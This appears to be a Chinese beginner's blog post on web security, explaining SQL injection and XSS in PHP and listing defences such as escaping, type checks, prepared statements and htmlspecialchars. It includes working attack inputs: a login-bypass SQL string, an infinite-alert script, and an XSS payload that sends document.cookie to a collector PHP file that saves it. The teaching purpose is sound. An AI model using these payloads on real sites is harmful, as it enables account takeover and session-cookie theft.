zoukankan      html  css  js  c++  java
  • Web安全

    Web安全

    web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。

    SQL注入

    • 数据库表

    • 出现场景

    当开发登录模块的时候,如果我们使用是MySQL操作PHP,并非使用mysqliPDO等;当查询用户是否存在的SQL是这样写的,select * from user where name = 'admin' and password = '123456'; 这样写是以查询来的,但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ' or 1 # 来破解上面的登录操作。

    • 如何防范

    1、过滤非法字符:保证传来的字符串作为一个参数,而不是语句拼接的一部分。所以需要对特殊字符进行转义,可以使用addslashes函数,我们可以给$_GET、$_POST、$_COOKIE等几个数组进行转义。下面我给大家封装了一个方法,递归给数组中带特殊字符的元素进行转义。

    封装函数

    <?php
    /**
    
     * 给数组中的特殊字符进行转义
    
     * @param arr $arr 转义前的数组
    
     * @return arr 转义后的数组
    
     */function _addslashes($arr){
    
    
    					foreach ($arr
    									as
    											$k => $v) {
    
    
    					if(is_string($v)){
    
    
    					$arr[$k] = addslashes($v);
    
            }else
    							if(is_array($v)){
    
    
    					$arr[$k] = _addslashes($v);
    
            }
    
        }
    
    
    					return
    							$arr;
    
    }?>

    其次,在初始化文件中,使用以下代码

    <?php //给get、post、cookie中的内容进行转义

    $_GET = _addslashes($_GET);

    $_POST = _addslashes($_POST);

    $_COOKIE = _addslashes($_COOKIE);

    ?>

    2、确保正确的数据类型:判断url或表单中传来的数据是否为想要的数据类型,如果不是,进行相应的数据类型转换。如使用方法intval() 提取变量中的整数值;如果参数错误,可以提示用户非法操作!

    3、使用正则表达式:设置用户的输入规则,限制用户不安规则瞎输

    4、使用预处理而不是拼接SQL语句:在上文我说过,使用mysql操作数据库会出现漏洞,避免出现这样的问题,可以使用mysqli、PDO来操作数据库。因为它们两都是将SQL预处理的,然后放入参数。

    prepare st1 from 'select * from user where name=? and password=?';//首先定义sql模板

    set @a="admin' or 1 #";//设置参数1

    set @b='123456';//设置参数2

    execute st1 using @a,@b;//执行sql

    xss攻击

    • 案列 
      在从事项目开发中,经常会碰到评论功能,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的东西进行攻击。

    1、恶作剧:

    <font size="100" color="red">逗你玩</font>

     

     

    2、略带恶意: 
    这样就会无限的弹出对话框了,这个网站就挂了,除非把改评论删除

    <script>while(true) {
    
    alert('欢迎你');
    
    } </script>

    3、恶意 
    读取你的cookie信息,并发送到指定的页面,进行保存操作。

    获取cookie的信息

    <script>
    alert(document.cookie);</script>

    评论的内容

    <script> var url = "http://localhost//toucookie.php?cookie=" + document.cookie; var img = document.createElement("img");

    img.src = url; document.appendChild(url); </script>

    toucookie.php中的内容

    <?php

    /**

    * 保存传过来的cookie信息

    */

    file_put_contents('./cookie.txt', $_GET['cookie'],FILE_APPEND);

    ?>

    cookie.txt的内容

    name=admin; cookiecode=6db8034dfdeb453362f50154ee6fa45d

    • 防范xss
    1. 不需要展示HTML标签的表单内容,入库时直接转成实体显示

      $_POST['content] = htmlspecialchars($_POST['content']);

      2、可以用正则检测输入框必须为email等合法数据

      3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等 
      strip_tags 来过滤html标签

      4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等 
      如strip_tags 来过滤html标签

  • 相关阅读:
    【Codeforces】【161Div2】
    【ZOJ月赛】【树形DP】【I.Destroy】
    【Baltic 2001远程通信】
    【树形DP】【分组背包】【HDU1561】
    【差分约束系统】【仍未AC】【Asia Harbin 2010/2011】【THE MATRIX PROBLEM】
    【DP】【2012 ACM/ICPC 成都赛区现场赛】【I.Count】
    【ZOJ月赛】【二分查找】【A.Edward's Cola Plan】
    【DP】【单调队列多重背包】
    【树形依赖背包】
    SQL 格式
  • 原文地址:https://www.cnblogs.com/kexinxin/p/10012029.html
Copyright © 2011-2022 走看看